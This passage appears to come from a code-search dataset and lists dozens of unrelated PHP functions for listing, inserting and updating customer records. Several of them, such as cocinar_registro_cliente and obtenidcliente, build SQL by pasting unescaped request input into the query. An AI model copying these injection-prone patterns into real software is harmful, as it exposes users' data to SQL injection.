$this->captura('fecha_hora_recepcion_sac','date');\n $this->captura('detalle_incidente','text');\n $this->captura('nombre','text');\n $this->captura('celular','varchar');\n $this->captura('telefono','varchar');\n $this->captura('nombre_incidente','varchar');\n $this->captura('sub_incidente','varchar');\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n\t\t//var_dump($this->respuesta); exit;\n $this->ejecutarConsulta();\n //var_dump($this->respuesta); exit;\n //Devuelve la respuesta\n return $this->respuesta;\n\n }", "public function consultarCliente(){\n //$conexao = $c->conexao();\n\n $sql = \"SELECT * FROM tbclientes order by nome; \";\n $sql = $this->conexao->query($sql);\n\n $dados = array();\n\n while ($row = $sql->fetch_array()) { \n $dado = array();\n $dado['reg'] = $row[\"reg\"];\n $dado['nome'] = $row[\"nome\"];\n $dado['nomeFantasia'] = $row[\"nomefantasia\"];\n $dado['rg'] = $row[\"rg\"];\n $dado['cpf'] = $row[\"cpf\"];\n $dado['cnpj'] = $row[\"cnpj\"];\n $dado['telefone'] = $row[\"telefone\"];\n $dado['dt_nascimento'] = $row[\"dt_nascimento\"];\n $dado['habilitado'] = $row[\"habilitado\"];\n $dados[] = $dado;\n } \n\n return $dados; \n \n }", "public function consultarClientes() {\n\n $conexion = new conexion();\n $sql = \"select nit, nombre from cliente_general where estado = 'A' group by nit,nombre order by nombre\";\n $resulConsulta = $conexion->consultar($sql);\n\n return $resulConsulta;\n }", "public function getCodigoClient()\n {\n return $this->codigo_client;\n }", "static public function ctrMostrarIdCliente($valor){\n\n $respuesta = ModeloClientes::mdlMostrarIdCliente($valor);\n\t\treturn $respuesta;\n }", "public function recuperaToken()\n {\n // por eso para propositos de prueba solo se usara el primer cliente\n $this->cliente=Cliente::find(1)->token;\n }", "function listadoClientes(){\n\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"SELECT * FROM users ORDER BY rol,id DESC;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'R');\n\t\t\t\n\t\t\tif(@$rst[0]['id'] != \"\"){\n\t\t\t\treturn $rst;\n\t\t\t}else{\n\t\t\t\treturn array(\"ErrorStatus\"=>true);\n\t\t\t}\n\t\t}", "public function TresorieClient() {\n \n $em = $this->getDoctrine()->getManager();\n $entityClient = $em->getRepository('RuffeCardUserGestionBundle:Client')->findClientNoPaiment();\n return $this->render ( \"RuffeCardTresorieBundle:Default:clientPaiement.html.twig\", array ('Client'=>$entityClient));\n \n }", "function obtener_inf_cliente(){\n $sql=\"select c.id_cliente,c.razon_social \n from cliente c\n \";\n \n $consulta =$this->db->query($sql);\n return $consulta;\n }", "abstract public function getClientInformation();", "function cocinar_registro_cliente() {\n\t\tglobal $bd;\n\t\tglobal $x_idcliente;\n\t\tglobal $x_idpedido;\n\n\t\t\n\t\t// $x_arr_cliente = $_POST['p_cliente'];\n\t\t// $datos_cliente = $x_arr_cliente['cliente'];\n\t\t$datos_cliente = $_POST['p_cliente'];\n\n\t\t$nomclie=$datos_cliente['nombres'];\n\t\t$idclie=$datos_cliente['idcliente'];\n\t\t$num_doc=$datos_cliente['num_doc'];\n\t\t$direccion=$datos_cliente['direccion'];\n\t\t$f_nac=$datos_cliente['f_nac'];\n\t\t// $idpedidos=$x_arr_cliente['i'] == '' ? $x_idpedido : $x_arr_cliente['i'];\n\n\t\tif($idclie==''){\n\t\t\tif($nomclie==''){//publico general\n\t\t\t\t$idclie=0;\n\t\t\t}else{\n\t\t\t\t$sql=\"insert into cliente (idorg,nombres,direccion,ruc,f_nac)values(\".$_SESSION['ido'].\",'\".$nomclie.\"','\".$direccion.\"','\".$num_doc.\"','\".$f_nac.\"')\";\n\t\t\t\t$idclie=$bd->xConsulta_UltimoId($sql);\n\t\t\t}\n\t\t} else {\n\t\t\t// update cliente\n\t\t\t$sql=\"update cliente set nombres='\".$nomclie.\"',ruc='\".$num_doc.\"',direccion='\".$direccion.\"' where idcliente = \".$idclie;\n\t\t\t$bd->xConsulta_NoReturn($sql);\n\t\t}\n\n\t\t// $bd->xConsulta_NoReturn($sql);\n\t\t// $sql=\"update pedido set idcliente=\".$idclie.\" where idpedido in (\".$idpedidos.\")\";\n\t\t\n\t\t$x_idcliente = $idclie;\n\t\t$x_idpedido = $idpedidos;\n\n\t\techo $idclie;\n\n\t\t// $rptclie = json_encode(array('idcliente' => $idclie));\n\t\t// print $rptclie.'|';\n\n\t\t// 031218 // cambio: ahora se graba primero el cliente se devuelve el idcliete, \n\n\t\t// $GLOBALS['x_idcliente'] = $idclie;\n\t\t// return $x_idcliente;\n\t\t// echo $idclie;\n\t}", "function obtenerClientes(){\n $query = $this->connect()->query('SELECT * FROM cliente');\n return $query;\n }", "public function getAllClients(){\n\t\t$sql = \"SELECT * FROM cliente;\";\n\t\treturn $this->Model->getData($sql);\n\t}", "public function buscarclientecuit($cliente = null){\n\n if(sizeof($this->request->getData()) > 0){\n\n $data = $this->request->getData();\n\n if(ctype_digit ($data['id'])){\n\n $auth = $this->request->session()->read('Auth');\n\n try {\n\n $conditions[] = array('Clientes.cuit = ' => $data['id']);\n \n $c = $this->Clientes->find(\n 'all', \n array('recursive' => -1,\n 'conditions' => $conditions)\n )->first();\n\n if (!is_null($c)){\n\n $cliente = $c->toArray();\n\n return $this->redirect(['action' => 'view', $cliente['id']]);\n \n }else{\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n } catch (RecordNotFoundException $e) {\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n }else{\n\n $this->Flash->error(__('Solo ingresar Numeros sin \".\" ni \"-\".'));\n }\n }\n\n $this->set('cliente', $cliente);\n }", "function read_client(){\n $client = array();\n \n $sql = \"SELECT * FROM client ORDER BY id_client ASC\";\n \n $res = $this->pdo->query($sql);\n\n if(!$res){\n $this->message = \"impossible d'afficher les clients\";\n return false;\n }\n while($resultats = $res->fetch(PDO::FETCH_OBJ)){\n \t$client[$resultats->id_client] = $resultats;\n\t\t}\n return $client;\n }", "function insertarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function CarregaClientes() {\n\t\t$clientes = new Model_Wpr_Clientes_ClientesIntegracao ();\n\t\t\n\t\treturn $clientes->carregaClientes ();\n\t}", "public function getAllClientsInfo() {\n //Nom de famille :\n //Prénom :\n //Date de naissance :\n //Carte de fidélité :\n //Si oui, N° de carte:\n $queryResult = $this->database->query('SELECT lastName, firstName, birthDate, card, cardNumber, \n CASE card\n\tWHEN 1 THEN \"Oui\"\n\tWHEN 0 THEN \"Non\"\n END AS \"etat\"\n FROM clients'); \n $allClientsInfoData = $queryResult->fetchAll(PDO::FETCH_OBJ);\n return $allClientsInfoData;\n }", "function criaModeloDeCliente()\n{\n $cliente = array(\n 'nome' => '',\n 'nome_usuario' => '',\n 'cnpj' => '',\n 'conta_contrato' => '',\n 'razao_social' => '',\n 'produto' => '',\n 'modulo' => '',\n 'duvida' => '',\n 'departamento' => '0',\n 'telefone' => ''\n );\n\n return $cliente;\n}", "public function listarClientes(){\n $this->bd->getConeccion();\n $sql = \"SELECT * FROM CLIENTE\";\n $registros = $this->bd->executeQueryReturnData($sql); \n $this->bd->cerrarConeccion(); \n $clientes = array(); \n \n foreach ($registros as $cliente) {\n $cliente = new Cliente($cliente['id'],$cliente['dni'],$cliente['Nombre'],$cliente['Apellido'],$cliente['Correo'],$cliente['Telefono']);\n array_push($clientes, $cliente);\n }\n \n return $clientes; \n }", "public function List_client_Physique(){\n $req = self::list(\"SELECT * FROM client_physique\");\n return $req;\n }", "public function agendaClient() {\n $response = $this->database->query('SELECT id, lastName, firstName, birthDate, CASE WHEN `card` = true THEN \\'oui\\' ELSE \\'non\\' END AS `card`, cardNumber FROM `clients`');\n $data = $response->fetchAll(PDO::FETCH_OBJ); \n return $data; //la fonction retourne data.\n }", "function afficherclient()\r\n\t{\r\n\t\t$sql=\"SElECT * From user\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry\r\n\t\t{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e)\r\n {\r\n die('Erreur: '.$e->getMessage());\r\n }\r\n\t}", "public function getClientes()\n {\n return $this->clientes;\n }", "public function getClientes()\n {\n return $this->clientes;\n }", "public function get_clientes()\n\t{\n\t\treturn $this->db->get(\"clientes\");\n\t}", "function getNomClient($id_client) {\n global $dbHandler, $global_id_agence;\n $db = $dbHandler->openConnection();\n \n $sql = \"SELECT statut_juridique, pp_nom, pp_prenom, pm_raison_sociale, gi_nom FROM ad_cli WHERE id_client=$id_client and id_ag = $global_id_agence\";\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, $result->getMessage());\n }\n if ($result->numrows() != 1) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Nombre d'occurences différent de 1 !\"));\n }\n $row = $result->fetchrow(DB_FETCHMODE_ASSOC);\n switch ($row['statut_juridique']) {\n case 1 : //PP\n $nom = $row['pp_prenom'] . \" \" . $row['pp_nom'];\n break;\n case 2 : //PM\n $nom = $row['pm_raison_sociale'];\n break;\n case 3 : //GI\n $nom = $row['gi_nom'];\n case 4 : //GS\n $nom = $row['gi_nom'];\n break;\n default : //Autre\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Statut juridique inconnu !\"));\n break;\n }\n $dbHandler->closeConnection(true);\n return $nom;\n}", "function redirecionaClienteParaDepartamentoTecnologia($cliente)\n{\n\n # montando URL\n $url =\n \"index.php/por/chat/startchat/(leaveamessage)/true?prefill%5Busername%5D={$cliente['razao_social']}&value_items_admin[0]={$cliente['duvida']}&value_items_admin[1]={$cliente['nome_usuario']}&value_items_admin[2]={$cliente['conta_contrato']}&value_items_admin[3]={$cliente['razao_social']}&value_items_admin[4]={$cliente['cnpj']}&value_items_admin[5]=0&nome_departamento=Tecnologia&codigo_ticket=0&novo_erp={$cliente['novo_erp']}&prefill%5Bphone%5D=2&value_items_admin[6]={$cliente['telefone']}&value_items_admin[7]=0\";\n\n # redirecionando cliente para o colaborador no chat teste\n echo json_encode(['url' => 'http://192.168.0.47:9999/' . $url], JSON_UNESCAPED_UNICODE);\n\n # redirecionando cliente para o colaborador no chat produção\n #echo json_encode(['url' => 'https://chat.avancoinfo.net/' . $url], JSON_UNESCAPED_UNICODE);\n\n exit;\n}", "function clientes( $cliente = null )\n{\n\tglobal $con;\n\t$sql = \"Select Id,Nombre from clientes\n\twhere `Estado_de_cliente` like '-1'\n\tor `Estado_de_cliente` like 'on' order by Nombre\";\n\t$consulta = mysql_query($sql,$con);\n\twhile(true == ($resultado = mysql_fetch_array($consulta))) {\n\t\t$seleccionado = ( $cliente == $resultado[0]) ? \"selected\" : \"\";\n\t\t$texto .= \"<option \".$seleccionado.\" value='\".$resultado[0].\"'>\"\n\t\t. $resultado[1] . \"</option>\";\n\t}\n\treturn $texto;\n}", "function modificarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function listarc()\n\t{\n\t\t$sql=\"SELECT * FROM persona WHERE tipo_persona = 'Cliente';\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "function consultarCliente (){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente');\n\t\t$x->execute();\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public function cliente()\r\r\n\t{\r\r\n\t\treturn $this->has_one('Cliente');\r\r\n\t}", "private function lista_clientes()\n {\n\n $lista_clientes = Cliente::where('status', 1)\n ->orderBy('nome')\n ->get();\n\n return $lista_clientes;\n }", "public function ListarClientes()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes \";\n\tforeach ($this->dbh->query($sql) as $row)\n\t{\n\t\t$this->p[] = $row;\n\t}\n\treturn $this->p;\n\t$this->dbh=null;\n}", "public function cliente()\n {\n \treturn $this->belongsTo('App\\User', 'id_cliente');\n }", "function tipo_cliente($id_tipo_cliente=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\tif ($id_tipo_cliente==\"\") {\n\t\treturn \"Tutti i Clienti\";\n\t}\n\t$q=\"SELECT * FROM tipo_cliente WHERE id_tipo_cliente=$id_tipo_cliente\";\n\t$r=$db->query($q);\n\tif (!$r) {\n\t\treturn \"Dato Assente\";\n\t}else{\n\t\t$ro= mysql_fetch_array($r);\n\t\treturn $ro['nome'];\n\t}\n}", "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function obtenidcliente($rfc){\n\t$funcbase = new dbutils;\n/*** conexion a bd ***/\n $mysqli = $funcbase->conecta();\n if (is_object($mysqli)) {\n\t\t$req = \"SELECT idclientes FROM clientes WHERE rfc = '\" \n \t.$rfc.\"'\"; \n \n \t\t$idcliente = $mysqli->query($req)->fetch_object()->idclientes;\n } else {\n die (\"<h1>'No se establecio la conexion a bd'</h1>\");\n }\n\t\t\n /* liberar la serie de resultados */\n /* cerrar la conexion */\n\t mysqli_close($mysqli);\n\t\t\n\treturn $idcliente;\n}", "public function buscar_cliente1()\n\t\t{\n\t\t\t$sql =\"SELECT nom_empresa, razon_social FROM empresas\";\t\n\t\t\t$query = $this->db->query($sql);\n\t\t\treturn $query->result();\n\t\t}", "public function cliente($cliente)\n {\n $sentencia = \"SELECT clNumReporte from tsreportebocadetubo WHERE cacliente_clCliente = :cliente ORDER BY id DESC LIMIT 1\";\n try {\n $stm = $this->db->prepare($sentencia);\n $stm->bindValue(':cliente', $cliente);\n $stm->execute();\n $registros = $stm->fetchAll(PDO::FETCH_OBJ);\n\n return $registros;\n } catch (Exception $e) {\n echo \"$e->getMessage()\";\n }\n }", "function loadClienteForm(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_GET';//'\n\t\t$this->tipo_procedimiento='IME';//tipo de transaccion\n\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t$this->captura('v_valor','varchar');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('nombre_completo1','text');\n\t\t$this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//Definicion de la lista del resultado del query\n\t\t/*$this->captura('v_id_cliente','int4');\n\t\t$this->captura('v_genero','varchar');\n\t\t$this->captura('v_ci','varchar');\n\t\t$this->captura('v_email','varchar');\n\t\t$this->captura('v_direccion','varchar');\n\t\t$this->captura('v_celular','varchar');\n\t\t$this->captura('v_nombre','varchar');\n\t\t$this->captura('v_lugar_expedicion','varchar');\n\t\t$this->captura('v_apellido_paterno','varchar');\n\t\t$this->captura('v_telefono','varchar');\n\t\t$this->captura('v_ciudad_residencia','varchar');\n\t\t$this->captura('v_id_pais_residencia','int4');\n\t\t$this->captura('v_nacionalidad','varchar');\n\t\t$this->captura('v_barrio_zona','varchar');\n\t\t//$this->captura('estado_reg','varchar');\n\t\t$this->captura('v_apellido_materno','varchar');\n\t\t//$this->captura('id_usuario_ai','int4');\n\t\t//$this->captura('fecha_reg','timestamp');\n\t\t//$this->captura('usuario_ai','varchar');\n\t\t//$this->captura('id_usuario_reg','int4');\n\t\t//$this->captura('fecha_mod','timestamp');\n\t\t//$this->captura('id_usuario_mod','int4');\n\t\t//$this->captura('usr_reg','varchar');\n\t\t//$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('v_completo','text');\n\t\t$this->captura('v_nombre_completo2','text');\n\t\t$this->captura('v_pais_residencia','varchar');*/\n\t\t//$this->captura('nombre','varchar');\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getcontaccliente($ccliente) {\n \n $sql = \"select ccontacto, (dapepat+' '+dapemat+' '+dnombre) as 'dcontacto'\n from mcontacto \n where ccliente = '\".$ccliente.\"'\n order by dcontacto;\";\n\t\t$query = $this->db->query($sql);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"%\" selected=\"selected\">::Elegir</option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->ccontacto.'\">'.$row->dcontacto.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function get_client($id_cliente)\n {\n $conexao = open_database_connection();\n\n $id = mysql_real_escape_string($id_cliente);\n\n $query = 'SELECT nome_cliente FROM cliente WHERE id_cliente = '.$id;\n\n $result = mysql_query($query);\n $row = mysql_fetch_assoc($result);\n\n close_database_connection($conexao);\n\n return $row;\n }", "function getSorpresa(){\r\n return $this->sorpresa;\r\n }", "public function getClient()\n {\n return $this->neo;\n }", "public function listadoPedidos(){\n $pedido=new Pedido();\n\n //Conseguimos todos los usuarios\n $allPedido=$pedido->getAll();\n print_r(json_encode($allPedido));\n //echo $allClientes\n }", "function obtenerCliente ($cedula){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente where cedula = ?');\n\t\t$x->execute(array($cedula));\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public static function getClient($id){\r\n if(!empty($_GET['id'])){\r\n $id = $_GET['id'];\r\n }\r\n $dados = Client::select()->where('id', $id)->one();\r\n // print_r($dadosFun);exit;\r\n \r\n // transformar o resultado em objetos dos models\r\n if(count($dados) > 0){\r\n $viewClient = new Client();\r\n $viewClient->id = $dados['id'];\r\n $viewClient->email = $dados['email'];\r\n $viewClient->name = $dados['name'];\r\n $viewClient->service = $dados['service'];\r\n $viewClient->phone = $dados['phone'];\r\n $viewClient->comment = $dados['comment'];\r\n $viewClient->rg = $dados['rg'];\r\n $viewClient->cpf = $dados['cpf'];\r\n $viewClient->photo_client = $dados['photo_client'];\r\n $viewClient->extract = $dados['extract'];\r\n $viewClient->residence = $dados['residence'];\r\n $viewClient->mirror = $dados['mirror'];\r\n $viewClient->printzap = $dados['printzap'];\r\n $viewClient->id_user = $dados['id_user'];\r\n $viewClient->name_user = $dados['name_user'];\r\n\r\n return $viewClient;\r\n }\r\n }", "public function loadCliente(){ \n if(!empty($this->mod_cli->CargarCliente())){\n\t\t\t$datos=$this->mod_cli->CargarCliente();\n\t\t\t //print_r($datos);\n\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t}else{\n\t\t\t\t$datos=[];\n\t\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t\t}\n //print_r($datos); \n }", "public function getCodServico()\n {\n return $this->cod_servico;\n }", "function leerCreditos(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idcredito, t.NombreCte,c.tipoContrato, c.montoTotal, c.plazo,c.mensualidad, c.interes,\"\n . \" c.metodoPago, c.observaciones, c.status FROM tarjetas_clientes t join credito c on t.idClienteTg=c.cteId where c.status=1 or c.status=3\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getCliente($id_zootecnico){\n\t\t$this->db->select('c.id_cliente, c.nombre, c.ap_paterno, c.ap_materno');\n\t\t$this->db->from('asignacion_cliente_z cz, zootecnico z, cliente c');\n\t\t$this->db->where('cz.id_cliente = c.id_cliente');\n\t\t$this->db->where('cz.id_zootecnico = z.id_zootecnico');\n\t\t$this->db->where('z.id_zootecnico', $id_zootecnico);\n\t\t$s = $this->db->get();\n\t\treturn $s->result();\n\t}", "function opzioni_cliente($id_tipo_cliente=\"\", $id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$visualizza =\"<a href=\\\"cliente_show.php?id_cli=\".$id_cli.\"\\\"><img src=\\\"images/cliente_dati.gif\\\" title=\\\"Visualizza Dati Cliente\\\"/></a>\";\n\t$opzione =\"<a href=\\\"popup_immobili.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_immobili.gif\\\" title=\\\"Mostra Immobile/i del cliente\\\"/></a>\";\n\t$str=\"\";\n\n\tswitch ($id_tipo_cliente) {\n\t\t\n\t\tcase 1: // acquirente\n\t\t\t//$opzione =\"<a href=\\\"popup_richieste.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_richieste.gif\\\" title=\\\"Mostra Richiesta/e del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"immobile_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_richieste.gif\\\" title=\\\"Mostra Immobili Affini alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 2: // venditore\n\t\t\t//$richieste = \"<a href=\\\"richieste_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_vendo.gif\\\" title=\\\"Mostra Richieste Correlate all'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 3: // affittuario\n\t\t\t$richieste = \"<a href=\\\"affittuario_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_affittuario.gif\\\" title=\\\"Mostra persone disposte ad acquistare l'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t\t//$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 4: // cerca affitto\n\t\t//\t$opzione =\"<a href=\\\"popup_affitti.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_affitti.gif\\\" title=\\\"Mostra Richieste di affitti del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"affitti_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_cerco_affitti.gif\\\" title=\\\"Mostra gli immobili in affitto adatti alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\n\t\tdefault:\n\t\t\t$str.= $visualizza;\n\t\t\t\n\t\t\tbreak;\n\t}\n\treturn $str;\n}", "public function cliente()\n {\n return $this->belongsTo('App\\Models\\ClienteModel', 'id_cliente');\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getClient(){ return UserData::getById($this->client_id); }", "public function primerCliente($id_usuario,$nombreE,$rfcE,$cpE,$correo1E,$observacionesE,$fijo,$logo){\r\n\t\t$sql = \"INSERT INTO tbl_clientesclientes (id_usuario,logo,nombreE,rfcE,cpE,correo1E,observacionesE,estatus,fijo)VALUES('$id_usuario','$logo','$nombreE','$rfcE','$cpE','$correo1E','$observacionesE','1','$fijo')\";\r\n return ejecutarConsulta($sql); \t\r\n\t}", "function afficherclients(){\r\n\t\t$sql=\"SElECT * From clients\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e){\r\n die('Erreur: '.$e->getMessage());\r\n }\t\r\n\t}", "public function cliente()\n\t{\n\t\treturn $this->belongsTo(Cliente::class);\n\t}", "function scheda_cliente($id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$str=\"\";\n\tif (isset($id_cli)) {\n\t\t$q=\"SELECT * FROM cliente WHERE id_cli=$id_cli\";\n\t\t$r=$db->query($q);\n\t\t$ro=mysql_fetch_array($r);\n\t\t\n\t\t$str.= \"<div class=\\\"clienti\\\">\";\n\t\t$str.= \"<TABLE id=\\\"clienti1\\\">\\n\";\n\t\t$str.=\"<tr>\\n\";\n\t\t$str.=\"<td colspan=\\\"3\\\" class=\\\"clienti_header_top\\\">\\n\";\n\t\t$str.=\"Dati cliente \".nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</td>\\n\";\n\t\t$str.=\"</tr>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Nominativo\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.=\"<a href=\\\"cliente_show.php?id_cli=\";\n\t\t$str.= $ro['id_cli'];\n\t\t$str.=\"\\\">\";\n\t\t$str.= nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</a>\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Tipo di Cliente\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= tipo_cliente($ro['id_tipo_cliente']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"E-Mail\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['email'];\n\t\t$str.= 